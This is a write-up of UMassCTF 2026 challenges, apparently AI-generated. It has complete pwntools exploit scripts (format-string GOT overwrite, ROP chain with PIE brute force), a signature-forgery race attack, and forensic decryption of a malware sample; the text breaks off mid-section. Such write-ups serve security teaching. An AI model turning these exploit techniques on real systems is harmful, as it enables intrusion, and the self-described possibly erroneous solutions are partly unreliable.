# UMassCTF 2026

Disclaimer: AI-generated solutions, let me know if there are any errors.

## binary\_exploitation

### Brick City Office Space

#### Description

The binary prints a building template, asks for ASCII art, and then prints the supplied input back into the middle of the building. The hint points directly at a format string issue.

Relevant properties:

* 32-bit ELF
* NX enabled
* No PIE
* No canary
* No RELRO

The bug is in `vuln()`: user input is passed directly to `printf`, so the program has a format string vulnerability.

#### Solution

Because the binary is dynamically linked and the challenge ships its own `libc.so.6`, the cleanest path is:

1. Leak a libc address from `printf@got`.
2. Compute the libc base.
3. Overwrite `printf@got` with `system`.
4. On the next prompt, send `cat flag.txt`.

The input buffer itself is also on the stack, so appended addresses can be referenced by positional format arguments. Empirically:

* `fmtstr_payload(..., offset=4)` is correct for writes.
* Appending `p32(printf_got)` and reading it with `%7$s` reliably leaks the resolved `printf` pointer.

After the overwrite, the program still does `printf(user_input)`, but now that call is effectively `system(user_input)`, so sending `cat flag.txt` prints the flag.

Full solve script:

```python
#!/usr/bin/env python3
import os
import re

from pwn import *

HOST = "brick-city-office-space.pwn.ctf.umasscybersec.org"
PORT = 45001

BASE_DIR = os.path.abspath("./attachments/brick-city-office-space")
BIN_PATH = os.path.join(BASE_DIR, "BrickCityOfficeSpace")
LIBC_PATH = os.path.join(BASE_DIR, "libc.so.6")
LD_PATH = os.path.join(BASE_DIR, "ld-linux.so.2")

context.binary = ELF(BIN_PATH)
elf = context.binary
libc = ELF(LIBC_PATH)


def start():
    if args.LOCAL:
        return process(
            [LD_PATH, "--library-path", BASE_DIR, BIN_PATH],
            cwd=BASE_DIR,
        )
    return remote(HOST, PORT)


def send_design(io, payload: bytes):
    io.recvuntil(b"BrickCityOfficeSpace> ")
    io.sendline(payload)


def choose_redesign(io, answer: bytes):
    io.recvuntil(b"(y/n)")
    io.sendline(answer)


def leak_printf(io) -> int:
    payload = b"MARK%7$sENDD" + p32(elf.got["printf"])
    send_design(io, payload)
    data = io.recvuntil(b"ENDD")
    start = data.index(b"MARK") + 4
    return u32(data[start : start + 4])


def overwrite_printf_with_system(io, system_addr: int):
    payload = fmtstr_payload(4, {elf.got["printf"]: system_addr}, write_size="short")
    send_design(io, payload)
    choose_redesign(io, b"y")


def main():
    io = start()

    printf_addr = leak_printf(io)
    libc.address = printf_addr - libc.sym["printf"]
    log.info(f"printf@libc = {printf_addr:#x}")
    log.info(f"libc base   = {libc.address:#x}")
    log.info(f"system      = {libc.sym['system']:#x}")

    choose_redesign(io, b"y")
    overwrite_printf_with_system(io, libc.sym["system"])

    send_design(io, b"cat flag.txt")
    data = io.recvuntil(b"(y/n)", timeout=5)
    match = re.search(rb"UMASS\{[^}]+\}", data)
    if match:
        print(match.group().decode())
    else:
        io.interactive()


if __name__ == "__main__":
    main()
```

Recovered flag:

```
UMASS{th3-f0rm4t_15-0ff-th3-ch4rt5}
```

### Brick Workshop

#### Description

The binary exposes a simple menu. Option `3` enters the diagnostics flow:

* On the first visit, it asks for `mold_id` and `pigment_code`, stores a global `service_initialized = 1`, and returns.
* On later visits, it calls `diagnostics_bay(mold_id, pigment_code)`.

The bug is that `mold_id` and `pigment_code` are local variables in `workshop_turn()` and are only initialized during the first diagnostics call. On the second call they are reused uninitialized, which means the same stack slots still contain the previously entered values.

Relevant logic:

```c
static unsigned int clutch_score(unsigned int mold_id, unsigned int pigment_code) {
    return (((mold_id >> 2) & 0x43u) | pigment_code) + (pigment_code << 1);
}

static void workshop_turn(void) {
    int choice;
    unsigned int mold_id;
    unsigned int pigment_code;
    ...
    if (!service_initialized) {
        scanf("%u %u", &mold_id, &pigment_code);
        service_initialized = 1;
        return;
    }

    diagnostics_bay(mold_id, pigment_code);
}
```

The win condition is:

```c
clutch_score(mold_id, pigment_code) == 0x23ccd
```

Choose `pigment_code = 0xBEEF = 48879`.

Then:

```
3 * 0xBEEF = 0x23CCD
```

Also, `0xBEEF & 0x43 == 0x43`, so the `(((mold_id >> 2) & 0x43) | pigment_code)` part stays equal to `pigment_code` regardless of `mold_id`. That means any `mold_id` works; `0` is fine.

#### Solution

Exploit steps:

1. Choose menu option `3`.
2. Enter `0 48879`.
3. Choose menu option `3` again.

On the second visit, the binary reuses the old stack values and reaches `win()`.

Minimal exploit:

```python
from pwn import *

HOST = "bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org"
PORT = 45002

io = remote(HOST, PORT)
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Enter mold id and pigment code.\n", b"0 48879")
io.sendlineafter(b"> ", b"3")
io.interactive()
```

One-shot shell version:

```bash
printf '3\n0 48879\n3\n' | nc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002
```

Recovered flag:

```
UMASS{brickshop_calibration_reuses_your_last_batch}
```

### Factory Monitor

#### Description

Binary exploitation challenge (500 pts). A factory monitor CLI binary forks child processes for "machines." The binary is a 64-bit static-PIE ELF with Full RELRO, NX, PIE, and stack canaries in libc functions (but not in user functions).

#### Solution

**Vulnerability:** The `read_line_fd()` function reads bytes one at a time into a buffer with no bounds check, causing a stack buffer overflow in `machine_main_demo()` (256-byte `msg` buffer) and potentially in `cli_recv()` (parent's 256-byte buffer).

**Key observations:**

1. No stack canary in user functions (`machine_main_demo`, `cli_recv`, etc.)
2. Child processes are automatically restarted by `machine_monitor()` when they crash (signal) or exit with non-zero status, but NOT when they exit with status 0
3. The `call exit` instruction at binary offset `0xb457` is reachable by overwriting only the lowest byte of the return address (original at `0xb43d`)
4. This creates an oracle: overwrite partial return address, send "exit" to trigger return, then `monitor` to distinguish "exited successfully" (correct address) vs "killed by signal" (wrong address)

**Phase 1 - PIE base brute force (byte-by-byte):**

Overwrite the return address of `machine_main_demo` one byte at a time, starting from byte 0 (known: `0x57` from the `call exit` offset). For each subsequent byte, try all candidates and check the child's exit behavior via `monitor`:

* "exited successfully" (exit code 0) = correct byte, manually `cleanup` + `start` + `recv`
* "killed by signal" = wrong byte, machine auto-restarts, just `recv`

Byte 1 has 16 candidates (PIE page alignment), bytes 2-5 have 256 candidates each.

**Phase 2 - ROP chain:**

After recovering the full PIE base, build a ROP chain using gadgets from the static binary:

* `pop rdi; pop rbp; ret` (0xc028)
* `pop rsi; pop rbp; ret` (0x15b26)
* `ret` (0x901a)

And call binary functions directly:

1. `read_line_fd(pipe_fd=3, bss_path)` - read "/ctf/flag.txt" from parent pipe into BSS
2. `open(bss_path, O_RDONLY)` - open flag file (returns fd 4)
3. `read_line_fd(4, bss_buf)` - read flag content into BSS
4. `puts(bss_buf)` - output flag to stdout (socat socket)

Using `read_line_fd` instead of `read()` avoids needing to set `rdx` (3rd argument), which only had `pop rdx; leave; ret` available (complicated by the stack pivot). BSS addresses are dynamically chosen to avoid 0x0a (newline) bytes.

**Payload flow:**

1. `send 0 <padding + ROP chain>` - overflow child buffer
2. `send 0 exit` - trigger return, ROP chain starts, blocks on pipe read
3. `send 0 /ctf/flag.txt` - feed flag path to ROP chain's `read_line_fd`
4. Child's `puts` outputs flag directly to our socket

**Flag:** `UMASS{AsLR_L3Ak}`

```python
#!/usr/bin/env python3
from pwn import *
import sys
import time
import resource

# Disable core dumps to avoid apport slowdown on child crashes
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))

context.arch = 'amd64'

BINARY = './attachments/unpacked/factory-monitor'
elf = ELF(BINARY, checksec=False)

# Target: 'call exit' at offset 0xb457 in the binary
TARGET_OFFSET = 0xb457

# Buffer overflow geometry (child's machine_main_demo)
BUF_TO_RBP = 0x110
BUF_TO_RET = 0x118

# Gadget offsets
POP_RDI_RBP    = 0xc028    # pop rdi; pop rbp; ret
POP_RSI_RBP    = 0x15b26   # pop rsi; pop rbp; ret
POP_RAX        = 0x40dcb   # pop rax; ret
SYSCALL_RET    = 0x1cfd6   # syscall; ret
RET            = 0x901a    # ret
POP_RBP        = 0x940d    # pop rbp; ret

# Function offsets
READ_LINE_FD   = 0x9f9f
OPEN_FUNC      = 0x38a40
PUTS_FUNC      = 0x15fc0

# BSS offset
BSS_OFFSET     = 0xc5a00

CHILD_PIPE_FD  = 3   # child's pipe[0] (read from parent)
FLAG_FD        = 4   # fd returned by open (first available after 0,1,2,3,6)


def connect():
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
        return remote('factory-monitor.pwn.ctf.umasscybersec.org', 45000)
    elif len(sys.argv) > 1 and sys.argv[1] == 'docker':
        return remote('localhost', 45001)
    else:
        return process(BINARY)


def send_cmd(r, cmd):
    r.sendline(cmd)
    return r.recvuntil(b'factory> ', timeout=15)


def setup(r):
    r.recvuntil(b'factory> ')
    send_cmd(r, b'create test')
    send_cmd(r, b'start 0')
    send_cmd(r, b'recv 0')


def brute_byte(r, known_bytes, byte_pos):
    if byte_pos == 1:
        candidates = []
        for x in range(16):
            val = ((x * 0x1000 + TARGET_OFFSET) >> 8) & 0xFF
            candidates.append(val)
        seen = set()
        candidates = [c for c in candidates if not (c in seen or seen.add(c))]
    else:
        candidates = list(range(256))

    for trial in candidates:
        partial_ret = known_bytes + bytes([trial])
        padding = b'A' * BUF_TO_RBP
        fake_rbp = b'B' * 8
        payload = padding + fake_rbp + partial_ret

        if b'\n' in payload:
            continue

        send_cmd(r, b'send 0 ' + payload)
        send_cmd(r, b'send 0 exit')

        time.sleep(0.05)

        found_result = None
        for attempt in range(15):
            resp = send_cmd(r, b'monitor 0')
            if b'exited successfully' in resp:
                log.success(f"  Byte {byte_pos}: {trial:#04x}")
                send_cmd(r, b'cleanup 0')
                send_cmd(r, b'start 0')
                send_cmd(r, b'recv 0')
                return trial
            elif b'exited with status' in resp or b'killed by signal' in resp:
                send_cmd(r, b'recv 0')
                found_result = False
                break
            else:
                time.sleep(0.05)

        if found_result is None:
            send_cmd(r, b'send 0 exit')
            time.sleep(0.5)
            resp = send_cmd(r, b'monitor 0')
            if b'exited successfully' in resp:
                send_cmd(r, b'cleanup 0')
                send_cmd(r, b'start 0')
                send_cmd(r, b'recv 0')
                return trial
            elif b'exited' in resp or b'killed' in resp:
                if b'exited successfully' not in resp:
                    send_cmd(r, b'recv 0')
                else:
                    send_cmd(r, b'cleanup 0')
                    send_cmd(r, b'start 0')
                    send_cmd(r, b'recv 0')

    return None


def find_safe_bss(pie_base):
    bss = pie_base + BSS_OFFSET
    safe_addrs = []
    for off in range(0x1000, 0x6800, 0x100):
        addr = bss + off
        if b'\n' not in p64(addr):
            safe_addrs.append((off, addr))
            if len(safe_addrs) >= 3:
                break
    if len(safe_addrs) < 3:
        return None, None, None
    return safe_addrs[0][1], safe_addrs[1][1], safe_addrs[2][1]


def build_rop_chain(pie_base):
    bss_path, bss_buf, bss_rbp = find_safe_bss(pie_base)
    if bss_path is None:
        return None

    g = lambda off: p64(pie_base + off)
    chain = b''

    # read_line_fd(3, bss_path) - read flag path from pipe
    chain += g(POP_RDI_RBP) + p64(CHILD_PIPE_FD) + p64(0)
    chain += g(POP_RSI_RBP) + p64(bss_path) + p64(0)
    chain += g(READ_LINE_FD)

    # open(bss_path, 0)
    chain += g(POP_RDI_RBP) + p64(bss_path) + p64(0)
    chain += g(POP_RSI_RBP) + p64(0) + p64(0)
    chain += g(OPEN_FUNC)

    # read_line_fd(4, bss_buf) - read flag content
    chain += g(POP_RDI_RBP) + p64(FLAG_FD) + p64(0)
    chain += g(POP_RSI_RBP) + p64(bss_buf) + p64(0)
    chain += g(READ_LINE_FD)

    # puts(bss_buf) - output flag
    chain += g(RET)
    chain += g(POP_RDI_RBP) + p64(bss_buf) + p64(0)
    chain += g(PUTS_FUNC)

    return chain


def main():
    context.log_level = 'info'
    r = connect()
    setup(r)

    known_ret_bytes = bytearray([TARGET_OFFSET & 0xFF])

    log.info("Phase 1: PIE base brute force")
    for byte_pos in range(1, 6):
        log.info(f"Brute forcing byte {byte_pos}...")
        result = brute_byte(r, bytes(known_ret_bytes), byte_pos)
        if result is None:
            log.error(f"Failed to find byte {byte_pos}")
            r.close()
            return
        known_ret_bytes.append(result)

    ret_addr = u64(bytes(known_ret_bytes).ljust(8, b'\x00'))
    pie_base = ret_addr - TARGET_OFFSET
    log.success(f"PIE BASE: {hex(pie_base)}")

    log.info("Phase 2: ROP chain")
    chain = build_rop_chain(pie_base)
    if chain is None:
        return

    bss = pie_base + BSS_OFFSET
    fake_rbp_addr = bss + 0x5800
    for off in range(0x5800, 0x6800, 0x100):
        if b'\n' not in p64(bss + off):
            fake_rbp_addr = bss + off
            break

    payload = b'A' * BUF_TO_RBP + p64(fake_rbp_addr) + chain
    if b'\n' in payload:
        log.error("Payload contains newline bytes")
        return

    send_cmd(r, b'send 0 ' + payload)
    send_cmd(r, b'send 0 exit')
    time.sleep(0.1)
    send_cmd(r, b'send 0 /ctf/flag.txt')

    time.sleep(1)
    try:
        data = r.recvrepeat(2)
        if b'UMASS' in data:
            flag = data[data.index(b'UMASS'):].split(b'}')[0] + b'}'
            log.success(f"FLAG: {flag.decode()}")
    except:
        pass
    r.interactive()


if __name__ == '__main__':
    main()
```

***

## cryptography

### The Accursed Lego Bin

#### Description

The challenge encrypts the string `I_LOVE_RNG` with textbook RSA using `e = 7`, calls the ciphertext `seed`, then writes out `seed^7 mod n` and a flag whose bits were shuffled ten times with Python's `random.shuffle`.

#### Solution

The RSA step is broken because the plaintext is tiny:

* `m = int.from_bytes(b"I_LOVE_RNG", "big")` is 79 bits.
* `m^7` is only 548 bits, so `m^7 < n` for a 4096-bit RSA modulus.
* The published `seed` is actually `(m^7)^7 mod n = m^49`, and `m^49` is still only 3832 bits, so this is also below `n`.
* Therefore the huge integer in `output.txt` is exactly `int.from_bytes(b"I_LOVE_RNG", "big")**49`.

Once `m` is known, the original PRNG seed used by the program is just `m^7`. Recreate the ten shuffles on an index list of the correct bit length, then apply the inverse permutations in reverse order to undo the scrambling.

```python
import random

ENC_SEED = 27853968878118202600616227164274184566757028924504378904793832254042520819991144639702067205911203237440164930417495337197532501173607130020895075421529488925453640401673956438276491981209692168887241600331323119747563338336714474549971016558306628074198388772585672217715120627041791075104601103026751194857235765309608359123653353317678322176850235969280946203083455072140605141795053378439195293814791874092411691470992665912679118059266672118104677436338717139016415491690881114160151442145485980845723522027034166250144387200630948484934412980402141190370298072772878692178174395473352346736568834853932546775351591579301264010616662074516876263415244325179769805404580595987957830206775099221681479552297343673953519347816803686755315058241114932909715588571465125584675910868587612361307253375806962785674201551995414052898626175776112925401104907258409223265509906782478388392655489350014728299523474441953620142576405825798349964376116586305354010422094308152856531053593521850744465605649669069637606613192817098670399196448110611736116364403445860585755736974514672765253945103150765043635481842335038685418842068710568699703147745504514090439
FLAG_HEX = "a9fa3c5e51d4cea498554399848ad14aa0764e15a6a2110b6613f5dc87fa70f17fafbba7eb5a2a5179"

msg = int.from_bytes(b"I_LOVE_RNG", "big")
assert msg**49 == ENC_SEED

seed = msg**7
bits = list("".join(f"{byte:08b}" for byte in bytes.fromhex(FLAG_HEX)))

for round_idx in range(9, -1, -1):
    random.seed(seed * (round_idx + 1))
    perm = list(range(len(bits)))
    random.shuffle(perm)

    prev = [None] * len(bits)
    for shuffled_pos, original_pos in enumerate(perm):
        prev[original_pos] = bits[shuffled_pos]
    bits = prev

flag = "".join(chr(int("".join(bits[i:i+8]), 2)) for i in range(0, len(bits), 8))
print(flag)
```

Recovered flag:

```
UMASS{tH4Nk5_f0R_uN5CR4m8L1nG_mY_M3554g3}
```

### Unfinished Ninjago Game

```
UMASS{sparse_fourier_transforms_are_so_much_fun!fhwtftw!yayayay}
```

A binary implements a text adventure game built around xoshiro512, a 512-bit linear PRNG (8 x 64-bit words). On each connection:

1. The PRNG state `s[0..7]` is seeded via `getrandom()` (512 random bits)
2. The flag (up to 64 bytes) is read into a buffer pre-filled with `getrandom()` output
3. The ciphertext `ct[i] = buffer[i] XOR state_byte[i]` (8 uint64 words) is printed
4. The player can issue commands including:
   * `m` ("middle"): observe `(sum(s[i] % 101 for i in range(8))) % 101` (one byte)
   * Various navigation commands that trigger PRNG jumps (advance by `2^k` steps)

A stack-based stale-pointer vulnerability allows the player to trigger arbitrary jump powers (2^0 through 2^496) on demand, giving full control over which PRNG state is observed.

#### 1. The observation is linear over GF(101)

The `explore_middle()` function computes `(s[0]%101 + s[1]%101 + ... + s[7]%101) % 101`. Confirmed by disassembly: each word is reduced mod 101 individually before summing, so there is no uint64 overflow.

Each word `s[w] = sum_b 2^b * bit_{w,b}` has residue `s[w] % 101 = sum_b (2^b mod 101) * bit_{w,b} mod 101`. So the observation is a linear function of the 512 state bits over GF(101):

```
obs = sum_{i=0}^{511} c_{i%64} * state_bit[i]  (mod 101)
```

where `c_b = 2^b mod 101`.

#### 2. Step-0 observations avoid XOR nonlinearity

After `next()` is called, each state bit becomes the XOR (parity) of multiple original state bits. Computing `sum mod 101` of XOR parities creates a "mixed modulus" problem: XOR is GF(2)-linear while the observation is Z/101Z-linear. The composition is nonlinear over both fields.

At step 0, however, each state bit is just itself -- the identity mask. No XOR combining occurs, so the observation is perfectly linear over GF(101).

#### 3. The flag is exactly 64 bytes

This is the critical insight. With `flag_len = 64`, the flag fills the entire 64-byte buffer. There are no random tail bytes, so `state = flag XOR ct` with `flag` shared across all connections.

Each connection's step-0 observation gives one linear equation in the 512 flag bits over GF(101). With enough connections, the system is solvable.

#### 4. Multi-connection linear system

For connection `j` with ciphertext bits `ct_j` and observation `obs_j`:

```
obs_j = sum_i c_{i%64} * (flag_bit[i] XOR ct_j_bit[i])  (mod 101)
```

Since `ct_j_bit[i]` is known, `flag_bit XOR ct_bit` is linear in `flag_bit`:

* If `ct_bit = 0`: coefficient is `+c`
* If `ct_bit = 1`: coefficient is `-c`, plus constant `+c`

This gives: `A * flag_bits = rhs (mod 101)` with 600 equations in 512 unknowns.

#### Data Collection

Collected 600 step-0 observations from independent connections (`linear_pairs.json`). Each entry contains the ciphertext (8 uint64 words) and the observation value.

#### Solving

Built the 600x512 coefficient matrix `A` and RHS vector `rhs` over GF(101), then solved via Gaussian elimination:

```python
# For each connection j:
for i in range(512):
    weight = pow(2, i % 64, 101)
    if ct_bit_j[i] == 0:
        A[j, i] = weight
    else:
        A[j, i] = (-weight) % 101
        constant += weight
rhs[j] = (obs_j - constant) % 101

# Solve A * x = rhs over GF(101)
x, rank, status = solve_gf101(A, rhs)
# rank = 512, all values in {0, 1}
```

The system has full rank (512/512). The unique solution is perfectly binary (all values 0 or 1), confirming the flag length is exactly 64. Assembling the bits into bytes gives the flag.

#### Verification

Cross-verified against all 600 connections: predicted observations match actual observations for every connection. Also verified against independent data (`fresh512.json` step-0 observation).

### Hens and Roosters

#### Description

The service gives each fresh `uid` zero studs and lets `/work` increment the stud count if you submit a valid UOV signature for the current payload `"{studs}|{uid}"`. Reaching 7 studs and then calling `/buy` returns the flag.

Two issues make this exploitable:

1. The public key is enough to sign. The 57 public quadratic forms all share the same 57-dimensional right kernel, which exposes the oil space directly. After changing basis so the oil variables are last, the public key has the usual UOV shape and we can solve for oil variables using only the public key.
2. `/work` caches verification by the raw hex string, not by the decoded bytes. Hex is accepted in mixed case, so the same signature bytes can be sent under many different spellings. `/work` also reads `studs` before verification, so a burst of valid mixed-case encodings for `0|uid` can all increment the same account from the same starting state.

The working live strategy was:

* Get a fresh `uid`.
* Forge a valid signature for `0|uid`.
* Send 8 mixed-case encodings of that same signature with unique query strings.
* Wait for the backend to process them.
* Redeem once with `/buy`.

#### Solution

```python
#!/usr/bin/env sage -python
import concurrent.futures
import hashlib
import re
import secrets
import time

import requests
from sage.all import GF, ZZ, VectorSpace, load, matrix, random_vector, vector


BASE = "http://hensandroosters.crypto.ctf.umasscybersec.org"
PUBLIC_KEY_PATH = "attachments/DOWNLOADABLE_ASSETS/backend/public_key.sobj"
WORK_CONNECT_TIMEOUT = 5
WORK_READ_TIMEOUT = 2
BUY_CONNECT_TIMEOUT = 5
BUY_READ_TIMEOUT = 58
BUY_RETRY_DELAY = 15
EXTRA_BURST_SPARE = 1


class PublicUOV:
    def __init__(self, public_key_path: str):
        self.pk = load(public_key_path.removesuffix(".sobj"))
        self.field = self.pk[0].base_ring()
        self.m = len(self.pk)
        self.n = self.pk[0].ncols()
        self.v = self.n - self.m

        kernel = self.pk[0].right_kernel()
        if not all(M.right_kernel() == kernel for M in self.pk):
            raise RuntimeError("public matrices do not share a common right kernel")

        ambient = VectorSpace(self.field, self.n)
        oil_basis = list(kernel.basis())
        full_basis = oil_basis[:]
        for basis_vec in ambient.basis():
            if len(full_basis) == self.n:
                break
            if ambient.subspace(full_basis + [basis_vec]).dimension() > len(full_basis):
                full_basis.append(basis_vec)
        vinegar_basis = full_basis[self.m :]
        ordered_basis = vinegar_basis + oil_basis

        self.B = matrix(self.field, self.n, self.n, lambda i, j: ordered_basis[j][i])
        if self.B.rank() != self.n:
            raise RuntimeError("failed to build an invertible basis change")

        self.public_in_secret_basis = [self.B.transpose() * M * self.B for M in self.pk]
        for M in self.public_in_secret_basis:
            if any(M[i, j] != 0 for i in range(self.n) for j in range(self.v, self.n)):
                raise RuntimeError("basis change did not expose the oil columns")

    def _target(self, msg: str):
        bits = ZZ([x for x in hashlib.shake_128(msg.encode()).digest(self.m)], 256).digits(2)[: self.m]
        return vector(self.field, bits)

    def sign(self, msg: str) -> str:
        target = self._target(msg)
        while True:
            vinegar = random_vector(self.field, self.v)
            linear_system = matrix(
                self.field,
                [M.submatrix(self.v, 0, self.m, self.v) * vinegar for M in self.public_in_secret_basis],
            )
            if linear_system.rank() == self.m:
                break

        constant_terms = vector(
            self.field,
            [vinegar * M.submatrix(0, 0, self.v, self.v) * vinegar for M in self.public_in_secret_basis],
        )
        oil = linear_system.solve_right(target - constant_terms)
        signature = self.B * vector(list(vinegar) + list(oil))
        raw = bytes(element.to_integer() for element in signature)
        return raw.hex()


def unique_url(path: str) -> str:
    sep = "&" if "?" in path else "?"
    return f"{BASE}{path}{sep}n={secrets.token_hex(4)}"


def get_uid(session: requests.Session) -> str:
    while True:
        response = session.get(
            unique_url("/"),
            timeout=(BUY_CONNECT_TIMEOUT, BUY_READ_TIMEOUT),
            headers={"Connection": "close"},
        )
        match = re.search(r"uid is ([0-9a-f]+)", response.text)
        if response.status_code == 200 and match:
            return match.group(1)
        time.sleep(2)


def parse_status(text: str):
    text = text.strip()
    flag_match = re.search(r"(UMASS\{[^}]+\})", text)
    if flag_match:
        return {"studs": 7, "flag": flag_match.group(1), "missing": False}
    if "don't even have any studs" in text:
        return {"studs": 0, "flag": None, "missing": False}
    if "Only 1 stud" in text:
        return {"studs": 1, "flag": None, "missing": False}
    multi_match = re.search(r"Only (\d+) studs\?", text)
    if multi_match:
        return {"studs": int(multi_match.group(1)), "flag": None, "missing": False}
    if "does not exist" in text:
        return {"studs": None, "flag": None, "missing": True}
    return None


def buy_status(session: requests.Session, uid: str):
    try:
        response = session.get(
            unique_url(f"/buy?uid={uid}"),
            timeout=(BUY_CONNECT_TIMEOUT, BUY_READ_TIMEOUT),
            headers={"Connection": "close"},
        )
        if response.status_code >= 500:
            return None
        return parse_status(response.text)
    except requests.RequestException:
        return None


def case_variants(signature: str, count: int):
    letter_positions = [index for index, char in enumerate(signature) if char in "abcdef"]
    bits_needed = max(1, (count - 1).bit_length())
    if len(letter_positions) < bits_needed:
        raise RuntimeError("not enough hex letters for distinct case variants")

    variants = []
    for mask in range(count):
        chars = list(signature)
        for bit in range(bits_needed):
            if mask & (1 << bit):
                pos = letter_positions[bit]
                chars[pos] = chars[pos].upper()
        variants.append("".join(chars))
    return variants


def fire_work(uid: str, signature: str):
    try:
        requests.post(
            unique_url("/work"),
            json={"uid": uid, "sig": signature},
            timeout=(WORK_CONNECT_TIMEOUT, WORK_READ_TIMEOUT),
            headers={"Connection": "close"},
        )
    except requests.RequestException:
        pass


def burst_stage(uid: str, signer: PublicUOV, stage: int, count: int):
    payload = f"{stage}|{uid}"
    signature = signer.sign(payload)
    variants = case_variants(signature, count)
    with concurrent.futures.ThreadPoolExecutor(max_workers=count) as pool:
        futures = [pool.submit(fire_work, uid, variant) for variant in variants]
        for future in concurrent.futures.as_completed(futures):
            future.result()


def round_buy_delay(work_count: int) -> int:
    return 60 + 5 * work_count


def main():
    signer = PublicUOV(PUBLIC_KEY_PATH)
    with requests.Session() as session:
        uid = get_uid(session)
        current_stage = 0
        deadline = time.time() + 220

        while time.time() < deadline:
            work_count = (7 - current_stage) + EXTRA_BURST_SPARE
            burst_stage(uid, signer, current_stage, work_count)

            time.sleep(round_buy_delay(work_count))
            for attempt in range(2):
                status = buy_status(session, uid)
                if status is None:
                    if attempt == 0:
                        time.sleep(BUY_RETRY_DELAY)
                    continue
                if status["flag"]:
                    print(status["flag"])
                    return
                if status["missing"]:
                    raise RuntimeError("buy likely consumed the uid before the response was captured")
                if status["studs"] is not None and status["studs"] > current_stage:
                    current_stage = status["studs"]
                    break
            else:
                raise RuntimeError(f"no visible progress from stage {current_stage}")

        raise RuntimeError("deadline expired")


if __name__ == "__main__":
    main()
```

This returned:

```
UMASS{oil_does_mix_with_oil_but_roosters_dont}
```

***

## forensics

### Click Here For Free Bricks

#### Description

We are given a packet capture of a malware download and asked for the VirusTotal name of the malware in the format `UMASS{[String]_[Sha256 Hash]}`.

#### Solution

First, inspect the description and extract the HTTP objects from the PCAP:

```bash
tshark -r attachments/thedamage.pcapng -Y 'http.request' \
  -T fields -e frame.number -e ip.dst -e http.request.method -e http.request.uri

tshark -r attachments/thedamage.pcapng --export-objects http,extracted_http
find extracted_http -maxdepth 1 -type f -printf '%f\n' | sort
```

This shows the victim downloading:

```
fungame.jpg
cooldog.jpeg
installer.py
literallyme.jpeg
launcher
```

Read the installer:

```bash
sed -n '1,200p' extracted_http/installer.py
```

It decrypts `./launcher` in place with a NaCl `SecretBox` key derived from:

```python
seed = "38093248092rsjrwedoaw3"
key = hashlib.sha256(seed.encode()).digest()
```

Decrypt the payload:

```python
import hashlib
import nacl.secret

seed = "38093248092rsjrwedoaw3"
key = hashlib.sha256(seed.encode()).digest()
box = nacl.secret.SecretBox(key)

with open("extracted_http/launcher", "rb") as f:
    data = f.read()

decrypted = box.decrypt(data)

with open("decrypted_launcher", "wb") as f:
    f.write(decrypted)
```

Hash it:

```bash
sha256sum extracted_http/launcher decrypted_launcher
file decrypted_launcher
```

Result:

```
695b3eeeb8a4a4d22405d78732f19c6e42527d374ae3b23ba1c4e4b757e10359  extracted_http/launcher
e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae  decrypted_launcher
decrypted_launcher: FreeBSD/i386 compact demand paged dynamically linked executable not stripped
```

The original challenge text is slightly misleading. The live challenge page says the answer is the malware name on VirusTotal **under the Details tab**, and gives an example where the string appears as `String_sha256`.

To inspect the VT details without an API key, load the public UI JSON or the rendered page:

```python
import asyncio
import json
from playwright.async_api import async_playwright

TARGET = "https://www.virustotal.com/gui/file/e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        page = await browser.new_page()
        payload = {}

        async def on_response(resp):
            if resp.url == "https://www.virustotal.com/ui/files/e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae":
                payload["json"] = json.loads(await resp.text())

        page.on("response", on_response)
        await page.goto(TARGET, wait_until="networkidle", timeout=60000)
        await page.wait_for_timeout(5000)

        names = payload["json"]["data"]["attributes"]["names"]
        for name in names:
            print(name)

        await browser.close()

asyncio.run(main())
```

One of the names in the VT Details tab is:

```
TheZoo_e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae
```

That directly matches the challenge’s expected `String_sha256` pattern, so:

```
UMASS{TheZoo_e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae}
```

### Lost and Found

#### Description

Help! I was running commands on my ultra minimalistic Linux VM when I installed my favorite package and everything turned into nonsense!

#### Solution

The challenge gives an `.ova` containing an Alpine VM. The fastest path was to inspect it offline instead of booting it.

Extract the OVA and decompress the disk:

```bash
curl -L --fail -o ctf-vm.ova \
  https://storage.googleapis.com/umassctf26-static/forensics-lost-and-found/ctf-vm.ova
7z x -y ctf-vm.ova
7z x -y ctf-vm-disk1.vmdk.gz
qemu-img convert -O raw ctf-vm-disk1.vmdk ctf-vm-disk1.raw
fdisk -l ctf-vm-disk1.raw
```

The root filesystem is partition 3, starting at sector `3430400`. Mount it read-only with `fuse2fs`:

```bash
mkdir -p mnt-root
fuse2fs -o ro,norecovery,fakeroot,offset=$((3430400*512)) ctf-vm-disk1.raw mnt-root
```

Root shell history immediately gives the important lead:

```bash
sed -n '1,200p' mnt-root/root/.ash_history
```

Relevant commands:

```
cargo install xor
...
for f in $(find . -type d); do echo "kajdsfojczvioxjoij3" >> $f/red-herring; done
...
git stash
```

The installed tool is the Rust crate `xor`, which recursively XOR-encrypts file contents and renames files by XORing the name and hex-encoding it. The crate source is still present on disk:

```bash
sed -n '1,120p' \
  mnt-root/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/xor-1.4.5/README.md
```

That README explains the exact rename format. The repeated filename `08555D451D131A075A5D0E` is clearly `red-herring`, so we can recover the beginning of the key. Then the known decoy file content `kajdsfojczvioxjoij3\n` extends it. Finally, the standard `.git/hooks/pre-rebase.sample` from `git init` reveals a full 512-byte repeating XOR key stream.

Key recovery:

```python
from pathlib import Path

# recover the 512-byte repeating keystream from a known git hook sample
ct = Path("mnt-root/home/5457501C/125F560306/0A425C4507130A1440564740030F051A10").read_bytes()
pt = Path("tmp-git-probe/.git/hooks/pre-rebase.sample").read_bytes()
key = bytes(c ^ p for c, p in zip(ct[:512], pt[:512]))
print(len(key))  # 512
```

Using that keystream, decrypt the mounted `/home` tree into a local working copy:

```python
